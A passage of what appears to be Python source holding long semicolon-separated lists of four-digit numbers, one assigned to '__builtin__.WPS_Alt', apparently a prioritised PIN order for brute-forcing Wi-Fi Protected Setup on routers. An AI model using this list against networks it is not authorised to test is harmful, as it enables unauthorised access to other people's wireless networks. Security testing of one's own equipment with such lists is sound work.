9971;4977;9972;4978;9973;4979;9974;4980;9975;4981;9976;4982;9977;4983;9978;4984;9979;4985;9980;4986;9981;4987;9982;4988;9983;4989;9984;4990;9985;4991;9986;4992;9987;4993;9988;4994;9989;4995;9990;4996;9991;4997;9992;4998;9993;4999;9994;9995;9996;9997;9998;567;000;222;333;444;555;598;666;777;888;999;001;500;002;501;003;502;004;503;005;504;006;505;007;506;008;507;009;508;010;509;011;510;012;511;013;512;014;513;015;514;016;515;017;516;018;517;019;518;020;519;021;520;022;521;023;522;024;523;025;524;026;525;027;526;028;527;029;528;030;529;031;530;032;531;033;532;034;533;035;534;036;535;037;536;038;537;039;538;040;539;041;540;042;541;043;542;044;543;045;544;046;545;047;546;048;547;049;548;050;549;051;550;052;551;053;552;054;553;055;554;056;556;057;557;058;558;059;559;060;560;061;561;062;562;063;563;064;564;065;565;066;566;067;568;068;569;069;570;070;571;071;572;072;573;073;574;074;575;075;576;076;577;077;578;078;579;079;580;080;581;081;582;082;583;083;584;084;585;085;586;086;587;087;588;088;589;089;590;090;591;091;592;092;593;093;594;094;595;095;596;096;597;097;098;599;099;600;100;601;101;602;102;603;103;604;104;605;105;606;106;607;107;608;108;609;109;610;110;611;111;612;112;613;113;614;114;615;115;616;116;617;117;618;118;619;119;620;120;621;121;622;122;623;123;624;124;625;125;626;126;627;127;628;128;629;129;630;130;631;131;632;132;633;133;634;134;635;135;636;136;637;137;638;138;639;139;640;140;641;141;642;142;643;143;644;144;645;145;646;146;647;147;648;148;649;149;650;150;651;151;652;152;653;153;654;154;655;155;656;156;657;157;658;158;659;159;660;160;661;161;662;162;663;163;664;164;665;165;667;166;668;167;669;168;670;169;671;170;672;171;673;172;674;173;675;174;676;175;677;176;678;177;679;178;680;179;681;180;682;181;683;182;684;183;685;184;686;185;687;186;688;187;689;188;690;189;691;190;692;191;693;192;694;193;695;194;696;195;697;196;698;197;699;198;700;199;701;200;702;201;703;202;704;203;705;204;706;205;707;206;708;207;709;208;710;209;711;210;712;211;713;212;714;213;715;214;716;215;717;216;718;217;719;218;720;219;721;220;722;221;723;223;724;224;725;225;726;226;727;227;728;228;729;229;730;230;731;231;732;232;733;233;734;234;735;235;736;236;737;237;738;238;739;239;740;240;741;241;742;242;743;243;744;244;745;245;746;246;747;247;748;248;749;249;750;250;751;251;752;252;753;253;754;254;755;255;756;256;757;257;758;258;759;259;760;260;761;261;762;262;763;263;764;264;765;265;766;266;767;267;768;268;769;269;770;270;771;271;772;272;773;273;774;274;775;275;776;276;778;277;779;278;780;279;781;280;782;281;783;282;784;283;785;284;786;285;787;286;788;287;789;288;790;289;791;290;792;291;793;292;794;293;795;294;796;295;797;296;798;297;799;298;800;299;801;300;802;301;803;302;804;303;805;304;806;305;807;306;808;307;809;308;810;309;811;310;812;311;813;312;814;313;815;314;816;315;817;316;818;317;819;318;820;319;821;320;822;321;823;322;824;323;825;324;826;325;827;326;828;327;829;328;830;329;831;330;832;331;833;332;834;334;835;335;836;336;837;337;838;338;839;339;840;340;841;341;842;342;843;343;844;344;845;345;846;346;847;347;848;348;849;349;850;350;851;351;852;352;853;353;854;354;855;355;856;356;857;357;858;358;859;359;860;360;861;361;862;362;863;363;864;364;865;365;866;366;867;367;868;368;869;369;870;370;871;371;872;372;873;373;874;374;875;375;876;376;877;377;878;378;879;379;880;380;881;381;882;382;883;383;884;384;885;385;886;386;887;387;889;388;890;389;891;390;892;391;893;392;894;393;895;394;896;395;897;396;898;397;899;398;900;399;901;400;902;401;903;402;904;403;905;404;906;405;907;406;908;407;909;408;910;409;911;410;912;411;913;412;914;413;915;414;916;415;917;416;918;417;919;418;920;419;921;420;922;421;923;422;924;423;925;424;926;425;927;426;928;427;929;428;930;429;931;430;932;431;933;432;934;433;935;434;936;435;937;436;938;437;939;438;940;439;941;440;942;441;943;442;944;443;945;445;946;446;947;447;948;448;949;449;950;450;951;451;952;452;953;453;954;454;955;455;956;456;957;457;958;458;959;459;960;460;961;461;962;462;963;463;964;464;965;465;966;466;967;467;968;468;969;469;970;470;971;471;972;472;973;473;974;474;975;475;976;476;977;477;978;478;979;479;980;480;981;481;982;482;983;483;984;484;985;485;986;486;987;487;988;488;989;489;990;490;991;491;992;492;993;493;994;494;995;495;996;496;997;497;998;498;499;"
__builtin__.WPS_Alt  ="0;0;0;1234;0000;0123;1111;2222;2590;3045;3333;4444;5555;6666;7777;8888;9999;0001;9998;0002;9997;0003;9996;0004;9995;0005;9994;0006;9993;0007;9992;0008;9991;0009;9990;0010;9989;0011;9988;0012;9987;0013;9986;0014;9985;0015;9984;0016;9983;0017;9982;0018;9981;0019;9980;0020;9979;0021;9978;0022;9977;0023;9976;0024;9975;0025;9974;0026;9973;0027;9972;0028;9971;0029;9970;0030;9969;0031;9968;0032;9967;0033;9966;0034;9965;0035;9964;0036;9963;0037;9962;0038;9961;0039;9960;0040;9959;0041;9958;0042;9957;0043;9956;0044;9955;0045;9954;0046;9953;0047;9952;0048;9951;0049;9950;0050;9949;0051;9948;0052;9947;0053;9946;0054;9945;0055;9944;0056;9943;0057;9942;0058;9941;0059;9940;0060;9939;0061;9938;0062;9937;0063;9936;0064;9935;0065;9934;0066;9933;0067;9932;0068;9931;0069;9930;0070;9929;0071;9928;0072;9927;0073;9926;0074;9925;0075;9924;0076;9923;0077;9922;0078;9921;0079;9920;0080;9919;0081;9918;0082;9917;0083;9916;0084;9915;0085;9914;0086;9913;0087;9912;0088;9911;0089;9910;0090;9909;0091;9908;0092;9907;0093;9906;0094;9905;0095;9904;0096;9903;0097;9902;0098;9901;0099;9900;0100;9899;0101;9898;0102;9897;0103;9896;0104;9895;0105;9894;0106;9893;0107;9892;0108;9891;0109;9890;0110;9889;0111;9888;0112;9887;0113;9886;0114;9885;0115;9884;0116;9883;0117;9882;0118;9881;0119;9880;0120;9879;0121;9878;0122;9877;0124;9876;0125;9875;0126;9874;0127;9873;0128;9872;0129;9871;0130;9870;0131;9869;0132;9868;0133;9867;0134;9866;0135;9865;0136;9864;0137;9863;0138;9862;0139;9861;0140;9860;0141;9859;0142;9858;0143;9857;0144;9856;0145;9855;0146;9854;0147;9853;0148;9852;0149;9851;0150;9850;0151;9849;0152;9848;0153;9847;0154;9846;0155;9845;0156;9844;0157;9843;0158;9842;0159;9841;0160;9840;0161;9839;0162;9838;0163;9837;0164;9836;0165;9835;0166;9834;0167;9833;0168;9832;0169;9831;0170;9830;0171;9829;0172;9828;0173;9827;0174;9826;0175;9825;0176;9824;0177;9823;0178;9822;0179;9821;0180;9820;0181;9819;0182;9818;0183;9817;0184;9816;0185;9815;0186;9814;0187;9813;0188;9812;0189;9811;0190;9810;0191;9809;0192;9808;0193;9807;0194;9806;0195;9805;0196;9804;0197;9803;0198;9802;0199;9801;0200;9800;0201;9799;0202;9798;0203;9797;0204;9796;0205;9795;0206;9794;0207;9793;0208;9792;0209;9791;0210;9790;0211;9789;0212;9788;0213;9787;0214;9786;0215;9785;0216;9784;0217;9783;0218;9782;0219;9781;0220;9780;0221;9779;0222;9778;0223;9777;0224;9776;0225;9775;0226;9774;0227;9773;0228;9772;0229;9771;0230;9770;0231;9769;0232;9768;0233;9767;0234;9766;0235;9765;0236;9764;0237;9763;0238;9762;0239;9761;0240;9760;0241;9759;0242;9758;0243;9757;0244;9756;0245;9755;0246;9754;0247;9753;0248;9752;0249;9751;0250;9750;0251;9749;0252;9748;0253;9747;0254;9746;0255;9745;0256;9744;0257;9743;0258;9742;0259;9741;0260;9740;0261;9739;0262;9738;0263;9737;0264;9736;0265;9735;0266;9734;0267;9733;0268;9732;0269;9731;0270;9730;0271;9729;0272;9728;0273;9727;0274;9726;0275;9725;0276;9724;0277;9723;0278;9722;0279;9721;0280;9720;0281;9719;0282;9718;0283;9717;0284;9716;0285;9715;0286;9714;0287;9713;0288;9712;0289;9711;0290;9710;0291;9709;0292;9708;0293;9707;0294;9706;0295;9705;0296;9704;0297;9703;0298;9702;0299;9701;0300;9700;0301;9699;0302;9698;0303;9697;0304;9696;0305;9695;0306;9694;0307;9693;0308;9692;0309;9691;0310;9690;0311;9689;0312;9688;0313;9687;0314;9686;0315;9685;0316;9684;0317;9683;0318;9682;0319;9681;0320;9680;0321;9679;0322;9678;0323;9677;0324;9676;0325;9675;0326;9674;0327;9673;0328;9672;0329;9671;0330;9670;0331;9669;0332;9668;0333;9667;0334;9666;0335;9665;0336;9664;0337;9663;0338;9662;0339;9661;0340;9660;0341;9659;0342;9658;0343;9657;0344;9656;0345;9655;0346;9654;0347;9653;0348;9652;0349;9651;0350;9650;0351;9649;0352;9648;0353;9647;0354;9646;0355;9645;0356;9644;0357;9643;0358;9642;0359;9641;0360;9640;0361;9639;0362;9638;0363;9637;0364;9636;0365;9635;0366;9634;0367;9633;0368;9632;0369;9631;0370;9630;0371;9629;0372;9628;0373;9627;0374;9626;0375;9625;0376;9624;0377;9623;0378;9622;0379;9621;0380;9620;0381;9619;0382;9618;0383;9617;0384;9616;0385;9615;0386;9614;0387;9613;0388;9612;0389;9611;0390;9610;0391;9609;0392;9608;0393;9607;0394;9606;0395;9605;0396;9604;0397;9603;0398;9602;0399;9601;0400;9600;0401;9599;0402;9598;0403;9597;0404;9596;0405;9595;0406;9594;0407;9593;0408;9592;0409;9591;0410;9590;0411;9589;0412;9588;0413;9587;0414;9586;0415;9585;0416;9584;0417;9583;0418;9582;0419;9581;0420;9580;0421;9579;0422;9578;0423;9577;0424;9576;0425;9575;0426;9574;0427;9573;0428;9572;0429;9571;0430;9570;0431;9569;0432;9568;0433;9567;0434;9566;0435;9565;0436;9564;0437;9563;0438;9562;0439;9561;0440;9560;0441;9559;0442;9558;0443;9557;0444;9556;0445;9555;0446;9554;0447;9553;0448;9552;0449;9551;0450;9550;0451;9549;0452;9548;0453;9547;0454;9546;0455;9545;0456;9544;0457;9543;0458;9542;0459;9541;0460;9540;0461;9539;0462;9538;0463;9537;0464;9536;0465;9535;0466;9534;0467;9533;0468;9532;0469;9531;0470;9530;0471;9529;0472;9528;0473;9527;0474;9526;0475;9525;0476;9524;0477;9523;0478;9522;0479;9521;0480;9520;0481;9519;0482;9518;0483;9517;0484;9516;0485;9515;0486;9514;0487;9513;0488;9512;0489;9511;0490;9510;0491;9509;0492;9508;0493;9507;0494;9506;0495;9505;0496;9504;0497;9503;0498;9502;0499;9501;0500;9500;0501;9499;0502;9498;0503;9497;0504;9496;0505;9495;0506;9494;0507;9493;0508;9492;0509;9491;0510;9490;0511;9489;0512;9488;0513;9487;0514;9486;0515;9485;0516;9484;0517;9483;0518;9482;0519;9481;0520;9480;0521;9479;0522;9478;0523;9477;0524;9476;0525;9475;0526;9474;0527;9473;0528;9472;0529;9471;0530;9470;0531;9469;0532;9468;0533;9467;0534;9466;0535;9465;0536;9464;0537;9463;0538;9462;0539;9461;0540;9460;0541;9459;0542;9458;0543;9457;0544;9456;0545;9455;0546;9454;0547;9453;0548;9452;0549;9451;0550;9450;0551;9449;0552;9448;0553;9447;0554;9446;0555;9445;0556;9444;0557;9443;0558;9442;0559;9441;0560;9440;0561;9439;0562;9438;0563;9437;0564;9436;0565;9435;0566;9434;0567;9433;0568;9432;0569;9431;0570;9430;0571;9429;0572;9428;0573;9427;0574;9426;0575;9425;0576;9424;0577;9423;0578;9422;0579;9421;0580;9420;0581;9419;0582;9418;0583;9417;0584;9416;0585;9415;0586;9414;0587;9413;0588;9412;0589;9411;0590;9410;0591;9409;0592;9408;0593;9407;0594;9406;0595;9405;0596;9404;0597;9403;0598;9402;0599;9401;0600;9400;0601;9399;0602;9398;0603;9397;0604;9396;0605;9395;0606;9394;0607;9393;0608;9392;0609;9391;0610;9390;0611;9389;0612;9388;0613;9387;0614;9386;0615;9385;0616;9384;0617;9383;0618;9382;0619;9381;0620;9380;0621;9379;0622;9378;0623;9377;0624;9376;0625;9375;0626;9374;0627;9373;0628;9372;0629;9371;0630;9370;0631;9369;0632;9368;0633;9367;0634;9366;0635;9365;0636;9364;0637;9363;0638;9362;0639;9361;0640;9360;0641;9359;0642;9358;0643;9357;0644;9356;0645;9355;0646;9354;0647;9353;0648;9352;0649;9351;0650;9350;0651;9349;0652;9348;0653;9347;0654;9346;0655;9345;0656;9344;0657;9343;0658;9342;0659;9341;0660;9340;0661;9339;0662;9338;0663;9337;0664;9336;0665;9335;0666;9334;0667;9333;0668;9332;0669;9331;0670;9330;0671;9329;0672;9328;0673;9327;0674;9326;0675;9325;0676;9324;0677;9323;0678;9322;0679;9321;0680;9320;0681;9319;0682;9318;0683;9317;0684;9316;0685;9315;0686;9314;0687;9313;0688;9312;0689;9311;0690;9310;0691;9309;0692;9308;0693;9307;0694;9306;0695;9305;0696;9304;0697;9303;0698;9302;0699;9301;0700;9300;0701;9299;0702;9298;0703;9297;0704;9296;0705;9295;0706;9294;0707;9293;0708;9292;0709;9291;0710;9290;0711;9289;0712;9288;0713;9287;0714;9286;0715;9285;0716;9284;0717;9283;0718;9282;0719;9281;0720;9280;0721;9279;0722;9278;0723;9277;0724;9276;0725;9275;0726;9274;0727;9273;0728;9272;0729;9271;0730;9270;0731;9269;0732;9268;0733;9267;0734;9266;0735;9265;0736;9264;0737;9263;0738;9262;0739;9261;0740;9260;0741;9259;0742;9258;0743;9257;0744;9256;0745;9255;0746;9254;0747;9253;0748;9252;0749;9251;0750;9250;0751;9249;0752;9248;0753;9247;0754;9246;0755;9245;0756;9244;0757;9243;0758;9242;0759;9241;0760;9240;0761;9239;0762;9238;0763;9237;0764;9236;0765;9235;0766;9234;0767;9233;0768;9232;0769;9231;0770;9230;0771;9229;0772;9228;0773;9227;0774;9226;0775;9225;0776;9224;0777;9223;0778;9222;0779;9221;0780;9220;0781;9219;0782;9218;0783;9217;0784;9216;0785;9215;0786;9214;0787;9213;0788;9212;0789;9211;0790;9210;0791;9209;0792;9208;0793;9207;0794;9206;0795;9205;0796;9204;0797;9203;0798;9202;0799;9201;0800;9200;0801;9199;0802;9198;0803;9197;0804;9196;0805;9195;0806;9194;0807;9193;0808;9192;0809;9191;0810;9190;0811;9189;0812;9188;0813;9187;0814;9186;0815;9185;0816;9184;0817;9183;0818;9182;0819;9181;0820;9180;0821;9179;0822;9178;0823;9177;0824;9176;0825;9175;0826;9174;0827;9173;0828;9172;0829;9171;0830;9170;0831;9169;0832;9168;0833;9167;0834;9166;0835;9165;0836;9164;0837;9163;0838;9162;0839;9161;0840;9160;0841;9159;0842;9158;0843;9157;0844;9156;0845;9155;0846;9154;0847;9153;0848;9152;0849;9151;0850;9150;0851;9149;0852;9148;0853;9147;0854;9146;0855;9145;0856;9144;0857;9143;0858;9142;0859;9141;0860;9140;0861;9139;0862;9138;0863;9137;0864;9136;0865;9135;0866;9134;0867;9133;0868;9132;0869;9131;0870;9130;0871;9129;0872;9128;0873;9127;0874;9126;0875;9125;0876;9124;0877;9123;0878;9122;0879;9121;0880;9120;0881;9119;0882;9118;0883;9117;0884;9116;0885;9115;0886;9114;0887;9113;0888;9112;0889;9111;0890;9110;0891;9109;0892;9108;0893;9107;0894;9106;0895;9105;0896;9104;0897;9103;0898;9102;0899;9101;0900;9100;0901;9099;0902;9098;0903;9097;0904;9096;0905;9095;0906;9094;0907;9093;0908;9092;0909;9091;0910;9090;0911;9089;0912;9088;0913;9087;0914;9086;0915;9085;0916;9084;0917;9083;0918;9082;0919;9081;0920;9080;0921;9079;0922;9078;0923;9077;0924;9076;0925;9075;0926;9074;0927;9073;0928;9072;0929;9071;0930;9070;0931;9069;0932;9068;0933;9067;0934;9066;0935;9065;0936;9064;0937;9063;0938;9062;0939;9061;0940;9060;0941;9059;0942;9058;0943;9057;0944;9056;0945;9055;0946;9054;0947;9053;0948;9052;0949;9051;0950;9050;0951;9049;0952;9048;0953;9047;0954;9046;0955;9045;0956;9044;0957;9043;0958;9042;0959;9041;0960;9040;0961;9039;0962;9038;0963;9037;0964;9036;0965;9035;0966;9034;0967;9033;0968;9032;0969;9031;0970;9030;0971;9029;0972;9028;0973;9027;0974;9026;0975;9025;0976;9024;0977;9023;0978;9022;0979;9021;0980;9020;0981;9019;0982;9018;0983;9017;0984;9016;0985;9015;0986;9014;0987;9013;0988;9012;0989;9011;0990;9010;0991;9009;0992;9008;0993;9007;0994;9006;0995;9005;0996;9004;0997;9003;0998;9002;0999;9001;1000;9000;1001;8999;1002;8998;1003;8997;1004;8996;1005;8995;1006;8994;1007;8993;1008;8992;1009;8991;1010;8990;1011;8989;1012;8988;1013;8987;1014;8986;1015;8985;1016;8984;1017;8983;1018;8982;1019;8981;1020;8980;1021;8979;1022;8978;1023;8977;1024;8976;1025;8975;1026;8974;1027;8973;1028;8972;1029;8971;1030;8970;1031;8969;1032;8968;1033;8967;1034;8966;1035;8965;1036;8964;1037;8963;1038;8962;1039;8961;1040;8960;1041;8959;1042;8958;1043;8957;1044;8956;1045;8955;1046;8954;1047;8953;1048;8952;1049;8951;1050;8950;1051;8949;1052;8948;1053;8947;1054;8946;1055;8945;1056;8944;1057;8943;1058;8942;1059;8941;1060;8940;1061;8939;1062;8938;1063;8937;1064;8936;1065;8935;1066;8934;1067;8933;1068;8932;1069;8931;1070;8930;1071;8929;1072;8928;1073;8927;1074;8926;1075;8925;1076;8924;1077;8923;1078;8922;1079;8921;1080;8920;1081;8919;1082;8918;1083;8917;1084;8916;1085;8915;1086;8914;1087;8913;1088;8912;1089;8911;1090;8910;1091;8909;1092;8908;1093;8907;1094;8906;1095;8905;1096;8904;1097;8903;1098;8902;1099;8901;1100;8900;1101;8899;1102;8898;1103;8897;1104;8896;1105;8895;1106;8894;1107;8893;1108;8892;1109;8891;1110;8890;1112;8889;1113;8887;1114;8886;1115;8885;1116;8884;1117;8883;1118;8882;1119;8881;1120;8880;1121;8879;1122;8878;1123;8877;1124;8876;1125;8875;1126;8874;1127;8873;1128;8872;1129;8871;1130;8870;1131;8869;1132;8868;1133;8867;1134;8866;1135;8865;1136;8864;1137;8863;1138;8862;1139;8861;1140;8860;1141;8859;1142;8858;1143;8857;1144;8856;1145;8855;1146;8854;1147;8853;1148;8852;1149;8851;1150;8850;1151;8849;1152;8848;1153;8847;1154;8846;1155;8845;1156;8844;1157;8843;1158;8842;1159;8841;1160;8840;1161;8839;1162;8838;1163;8837;1164;8836;1165;8835;1166;8834;1167;8833;1168;8832;1169;8831;1170;8830;1171;8829;1172;8828;1173;8827;1174;8826;1175;8825;1176;8824;1177;8823;1178;8822;1179;8821;1180;8820;1181;8819;1182;8818;1183;8817;1184;8816;1185;8815;1186;8814;1187;8813;1188;8812;1189;8811;1190;8810;1191;8809;1192;8808;1193;8807;1194;8806;1195;8805;1196;8804;1197;8803;1198;8802;1199;8801;1200;8800;1201;8799;1202;8798;1203;8797;1204;8796;1205;8795;1206;8794;1207;8793;1208;8792;1209;8791;1210;8790;1211;8789;1212;8788;1213;8787;1214;8786;1215;8785;1216;8784;1217;8783;1218;8782;1219;8781;1220;8780;1221;8779;1222;8778;1223;8777;1224;8776;1225;8775;1226;8774;1227;8773;1228;8772;1229;8771;1230;8770;1231;8769;1232;8768;1233;8767;1235;8766;1236;8765;1237;8764;1238;8763;1239;8762;1240;8761;1241;8760;1242;8759;1243;8758;1244;8757;1245;8756;1246;8755;1247;8754;1248;8753;1249;8752;1250;8751;1251;8750;1252;8749;1253;8748;1254;8747;1255;8746;1256;8745;1257;8744;1258;8743;1259;8742;1260;8741;1261;8740;1262;8739;1263;8738;1264;8737;1265;8736;1266;8735;1267;8734;1268;8733;1269;8732;1270;8731;1271;8730;1272;8729;1273;8728;1274;8727;1275;8726;1276;8725;1277;8724;1278;8723;1279;8722;1280;8721;1281;8720;1282;8719;1283;8718;1284;8717;1285;8716;1286;8715;1287;8714;1288;8713;1289;8712;1290;8711;1291;8710;1292;8709;1293;8708;1294;8707;1295;8706;1296;8705;1297;8704;1298;8703;1299;8702;1300;8701;1301;8700;1302;8699;1303;8698;1304;8697;1305;8696;1306;8695;1307;8694;1308;8693;1309;8692;1310;8691;1311;8690;1312;8689;1313;8688;1314;8687;1315;8686;1316;8685;1317;8684;1318;8683;1319;8682;1320;8681;1321;8680;1322;8679;1323;8678;1324;8677;1325;8676;1326;8675;1327;8674;1328;8673;1329;8672;1330;8671;1331;8670;1332;8669;1333;8668;1334;8667;1335;8666;1336;8665;1337;8664;1338;8663;1339;8662;1340;8661;1341;8660;1342;8659;1343;8658;1344;8657;1345;8656;1346;8655;1347;8654;1348;8653;1349;8652;1350;8651;1351;8650;1352;8649;1353;8648;1354;8647;1355;8646;1356;8645;1357;8644;1358;8643;1359;8642;1360;8641;1361;8640;1362;8639;1363;8638;1364;8637;1365;8636;1366;8635;1367;8634;1368;8633;1369;8632;1370;8631;1371;8630;1372;8629;1373;8628;1374;8627;1375;8626;1376;8625;1377;8624;1378;8623;1379;8622;1380;8621;1381;8620;1382;8619;1383;8618;1384;8617;1385;8616;1386;8615;1387;8614;1388;8613;1389;8612;1390;8611;1391;8610;1392;8609;1393;8608;1394;8607;1395;8606;1396;8605;1397;8604;1398;8603;1399;8602;1400;8601;1401;8600;1402;8599;1403;8598;1404;8597;1405;8596;1406;8595;1407;8594;1408;8593;1409;8592;1410;8591;1411;8590;1412;8589;1413;8588;1414;8587;1415;8586;1416;8585;1417;8584;1418;8583;1419;8582;1420;8581;1421;8580;1422;8579;1423;8578;1424;8577;1425;8576;1426;8575;1427;8574;1428;8573;1429;8572;1430;8571;1431;8570;1432;8569;1433;8568;1434;8567;1435;8566;1436;8565;1437;8564;1438;8563;1439;8562;1440;8561;1441;8560;1442;8559;1443;8558;1444;8557;1445;8556;1446;8555;1447;8554;1448;8553;1449;8552;1450;8551;1451;8550;1452;8549;1453;8548;1454;8547;1455;8546;1456;8545;1457;8544;1458;8543;1459;8542;1460;8541;1461;8540;1462;8539;1463;8538;1464;8537;1465;8536;1466;8535;1467;8534;1468;8533;1469;8532;1470;8531;1471;8530;1472;8529;1473;8528;1474;8527;1475;8526;1476;8525;1477;8524;1478;8523;1479;8522;1480;8521;1481;8520;1482;8519;1483;8518;1484;8517;1485;8516;1486;8515;1487;8514;1488;8513;1489;8512;1490;8511;1491;8510;1492;8509;1493;8508;1494;8507;1495;8506;1496;8505;1497;8504;1498;8503;1499;8502;1500;8501;1501;8500;1502;8499;1503;8498;1504;8497;1505;8496;1506;8495;1507;8494;1508;8493;1509;8492;1510;8491;1511;8490;1512;8489;1513;8488;1514;8487;1515;8486;1516;8485;1517;8484;1518;8483;1519;8482;1520;8481;1521;8480;1522;8479;1523;8478;1524;8477;1525;8476;1526;8475;1527;8474;1528;8473;1529;8472;1530;8471;1531;8470;1532;8469;1533;8468;1534;8467;1535;8466;1536;8465;1537;8464;1538;8463;1539;8462;1540;8461;1541;8460;1542;8459;1543;8458;1544;8457;1545;8456;1546;8455;1547;8454;1548;8453;1549;8452;1550;8451;1551;8450;1552;8449;1553;8448;1554;8447;1555;8446;1556;8445;1557;8444;1558;8443;1559;8442;1560;8441;1561;8440;1562;8439;1563;8438;1564;8437;1565;8436;1566;8435;1567;8434;1568;8433;1569;8432;1570;8431;1571;8430;1572;8429;1573;8428;1574;8427;1575;8426;1576;8425;1577;8424;1578;8423;1579;8422;1580;8421;1581;8420;1582;8419;1583;8418;1584;8417;1585;8416;1586;8415;1587;8414;1588;8413;1589;8412;1590;8411;1591;8410;1592;8409;1593;8408;1594;8407;1595;8406;1596;8405;1597;8404;1598;8403;1599;8402;1600;8401;1601;8400;1602;8399;1603;8398;1604;8397;1605;8396;1606;8395;1607;8394;1608;8393;1609;8392;1610;8391;1611;8390;1612;8389;1613;8388;1614;8387;1615;8386;1616;8385;1617;8384;1618;8383;1619;8382;1620;8381;1621;8380;1622;8379;1623;8378;1624;8377;1625;8376;1626;8375;1627;8374;1628;8373;1629;8372;1630;8371;1631;8370;1632;8369;1633;8368;1634;8367;1635;8366;1636;8365;1637;8364;1638;8363;1639;8362;1640;8361;1641;8360;1642;8359;1643;8358;1644;8357;1645;8356;1646;8355;1647;8354;1648;8353;1649;8352;1650;8351;1651;8350;1652;8349;1653;8348;1654;8347;1655;8346;1656;8345;1657;8344;1658;8343;1659;8342;1660;8341;1661;8340;1662;8339;1663;8338;1664;8337;1665;8336;1666;8335;1667;8334;1668;8333;1669;8332;1670;8331;1671;8330;1672;8329;1673;8328;1674;8327;1675;8326;1676;8325;1677;8324;1678;8323;1679;8322;1680;8321;1681;8320;1682;8319;1683;8318;1684;8317;1685;8316;1686;8315;1687;8314;1688;8313;1689;8312;1690;8311;1691;8310;1692;8309;1693;8308;1694;8307;1695;8306;1696;8305;1697;8304;1698;8303;1699;8302;1700;8301;1701;8300;1702;8299;1703;8298;1704;8297;1705;8296;1706;8295;1707;8294;1708;8293;1709;8292;1710;8291;1711;8290;1712;8289;1713;8288;1714;8287;1715;8286;1716;8285;1717;8284;1718;8283;1719;8282;1720;8281;1721;8280;1722;8279;1723;8278;1724;8277;1725;8276;1726;8275;1727;8274;1728;8273;1729;8272;1730;8271;1731;8270;1732;8269;1733;8268;1734;8267;1735;8266;1736;8265;1737;8264;1738;8263;1739;8262;1740;8261;1741;8260;1742;8259;1743;8258;1744;8257;1745;8256;1746;8255;1747;8254;1748;8253;1749;8252;1750;8251;1751;8250;1752;8249;1753;8248;1754;8247;1755;8246;1756;8245;1757;8244;1758;8243;1759;8242;1760;8241;1761;8240;1762;8239;1763;8238;1764;8237;1765;8236;1766;8235;1767;8234;1768;8233;1769;8232;1770;8231;1771;8230;1772;8229;1773;8228;1774;8227;1775;8226;1776;8225;1777;8224;1778;8223;1779;8222;1780;8221;1781;8220;1782;8219;1783;8218;1784;8217;1785;8216;1786;8215;1787;8214;1788;8213;1789;8212;1790;8211;1791;8210;1792;8209;1793;8208;1794;8207;1795;8206;1796;8205;1797;8204;1798;8203;1799;8202;1800;8201;1801;8200;1802;8199;1803;8198;1804;8197;1805;8196;1806;8195;1807;8194;1808;8193;1809;8192;1810;8191;1811;8190;1812;8189;1813;8188;1814;8187;1815;8186;1816;8185;1817;8184;1818;8183;1819;8182;1820;8181;1821;8180;1822;8179;1823;8178;1824;8177;1825;8176;1826;8175;1827;8174;1828;8173;1829;8172;1830;8171;1831;8170;1832;8169;1833;8168;1834;8167;1835;8166;1836;8165;1837;8164;1838;8163;1839;8162;1840;8161;1841;8160;1842;8159;1843;8158;1844;8157;1845;8156;1846;8155;1847;8154;1848;8153;1849;8152;1850;8151;1851;8150;1852;8149;1853;8148;1854;8147;1855;8146;1856;8145;1857;8144;1858;8143;1859;8142;1860;8141;1861;8140;1862;8139;1863;8138;1864;8137;1865;8136;1866;8135;1867;8134;1868;8133;1869;8132;1870;8131;1871;8130;1872;8129;1873;8128;1874;8127;1875;8126;1876;8125;1877;8124;1878;8123;1879;8122;1880;8121;1881;8120;1882;8119;1883;8118;1884;8117;1885;8116;1886;8115;1887;8114;1888;8113;1889;8112;1890;8111;1891;8110;1892;8109;1893;8108;1894;8107;1895;8106;1896;8105;1897;8104;1898;8103;1899;8102;1900;8101;1901;8100;1902;8099;1903;8098;1904;8097;1905;8096;1906;8095;1907;8094;1908;8093;1909;8092;1910;8091;1911;8090;1912;8089;1913;8088;1914;8087;1915;8086;1916;8085;1917;8084;1918;8083;1919;8082;1920;8081;1921;8080;1922;8079;1923;8078;1924;8077;1925;8076;1926;8075;1927;8074;1928;8073;1929;8072;1930;8071;1931;8070;1932;8069;1933;8068;1934;8067;1935;8066;1936;8065;1937;8064;1938;8063;1939;8062;1940;8061;1941;8060;1942;8059;1943;8058;1944;8057;1945;8056;1946;8055;1947;8054;1948;8053;1949;8052;1950;8051;1951;8050;1952;8049;1953;8048;1954;8047;1955;8046;1956;8045;1957;8044;1958;8043;1959;8042;1960;8041;1961;8040;1962;8039;1963;8038;1964;8037;1965;8036;1966;8035;1967;8034;1968;8033;1969;8032;1970;8031;1971;8030;1972;8029;1973;8028;1974;8027;1975;8026;1976;8025;1977;8024;1978;8023;1979;8022;1980;8021;1981;8020;1982;8019;1983;8018;1984;8017;1985;8016;1986;8015;1987;8014;1988;8013;1989;8012;1990;8011;1991;8010;1992;8009;1993;8008;1994;8007;1995;8006;1996;8005;1997;8004;1998;8003;1999;8002;2000;8001;2001;8000;2002;7999;2003;7998;2004;7997;2005;7996;2006;7995;2007;7994;2008;7993;2009;7992;2010;7991;2011;7990;2012;7989;2013;7988;2014;7987;2015;7986;2016;7985;2017;7984;2018;7983;2019;7982;2020;7981;2021;7980;2022;7979;2023;7978;2024;7977;2025;7976;2026;7975;2027;7974;2028;7973;2029;7972;2030;7971;2031;7970;2032;7969;2033;7968;2034;7967;2035;7966;2036;7965;2037;7964;2038;7963;2039;7962;2040;7961;2041;7960;2042;7959;2043;7958;2044;7957;2045;7956;2046;7955;2047;7954;2048;7953;2049;7952;2050;7951;2051;7950;2052;7949;2053;7948;2054;7947;2055;7946;2056;7945;2057;7944;2058;7943;2059;7942;2060;7941;2061;7940;2062;7939;2063;7938;2064;7937;2065;7936;2066;7935;2067;7934;2068;7933;2069;7932;2070;7931;2071;7930;2072;7929;2073;7928;2074;7927;2075;7926;2076;7925;2077;7924;2078;7923;2079;7922;2080;7921;2081;7920;2082;7919;2083;7918;2084;7917;2085;7916;2086;7915;2087;7914;2088;7913;2089;7912;2090;7911;2091;7910;2092;7909;2093;7908;2094;7907;2095;7906;2096;7905;2097;7904;2098;7903;2099;7902;2100;7901;2101;7900;2102;7899;2103;7898;2104;7897;2105;7896;2106;7895;2107;7894;2108;7893;2109;7892;2110;7891;2111;7890;2112;7889;2113;7888;2114;7887;2115;7886;2116;7885;2117;7884;2118;7883;2119;7882;2120;7881;2121;7880;2122;7879;2123;7878;2124;7877;2125;7876;2126;7875;2127;7874;2128;7873;2129;7872;2130;7871;2131;7870;2132;7869;2133;7868;2